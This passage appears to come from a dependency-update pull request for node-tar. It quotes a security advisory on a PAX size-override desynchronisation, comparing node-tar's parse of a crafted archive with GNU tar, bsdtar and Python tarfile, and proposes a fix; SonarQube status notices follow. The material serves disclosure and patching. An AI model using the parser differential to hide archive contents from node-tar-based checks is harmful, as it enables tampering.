  tar.list() warnings: ["TAR_ENTRY_INVALID"]

[NEGATIVE CONTROL] same archive, PAX record is "comment=x" (no size= override)
  tar.list() entries : [{"path":"longname.txt","size":16,"type":"File"},{"path":"file_b","size":16,"type":"File"}]
  tar.list() warnings: []

Reference parsers on the same pax-desync.tar:

$ tar tvf pax-desync.tar
-rw-r--r--  0 0      0        2048 Jan  1  1970 longname.txt          # GNU tar

$ bsdtar tvf pax-desync.tar
-rw-r--r--  0 0      0        2048 Jan  1  1970 longname.txt          # libarchive

$ python3 -c "import tarfile; print([m.name for m in tarfile.open('pax-desync.tar').getmembers()])"
['longname.txt']                                                      # Python tarfile

Interpretation differential: GNU tar, libarchive (bsdtar), and Python tarfile
all extract the member longname.txt from pax-desync.tar, whereas node-tar
7.5.15 desynchronizes, raises TAR_ENTRY_INVALID (checksum failure from
landing mid-stream), and reports zero members. The negative control proves
the divergence is caused solely by the PAX size= override being applied to the
intermediary L header — when the same archive carries a PAX record without
size=, node-tar parses it identically to the reference tools
(longname.txt, file_b).

Suggested fix

When decoding a header, do not apply PAX size (or other PAX overrides) if the
header being decoded is itself an extension header. Concretely, in
src/parse.ts clear/ignore this[EX] (and this[GEX] for size) when the
header's type is ExtendedHeader, GlobalExtendedHeader, NextFileHasLongPath
(GNU L), or NextFileHasLongLinkpath (GNU K); equivalently, in
Header.decode, gate the ex?.size ?? gex?.size override on the decoded type
not being one of those extension types. This mirrors the upstream Rust fix,
which guards pax_size with
is_gnu_longname || is_gnu_longlink || is_pax_local_extensions || is_pax_global_extensions.

A fix PR is being prepared against a private fork and will be linked here.

Fix PR

To be linked from a private fork of the repository (the fix will not be pushed
to any public fork or to upstream during embargo).

Credits

Reported by tonghuaroot.

Severity

• CVSS Score: 6.9 / 10 (Medium)
• Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/isaacs/node-tar/security/advisories/GHSA-vmf3-w455-68vh
• https://github.com/advisories/GHSA-vmf3-w455-68vh

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

isaacs/node-tar (tar)

v7.5.16

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v7.5.15

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v7.5.14

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[sonarqubecloud]

Quality Gate passed

Issues
0 New issues
0 Accepted issues

Measures
0 Security Hotspots
0.0% Coverage on New Code
0.0% Duplication on New Code

See analysis details on SonarQube Cloud

[sonarqubecloud]

Quality Gate passed

Issues
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0 Accepted issues

Measures
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0.0% Coverage on New Code
0.0% Duplication on New Code

See analysis details on SonarQube Cloud

[sonarqubecloud]

Quality Gate passed

Issues
0 New issues
0 Accepted issues

Measures
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0.0% Coverage on New Code
0.0% Duplication on New Code

See analysis details on SonarQube Cloud

[sonarqubecloud]

Quality Gate passed

Issues
0 New issues
0 Accepted issues

Measures
0 Security Hotspots
0.0% Coverage on New Code
0.0% Duplication on New Code

See analysis details on SonarQube Cloud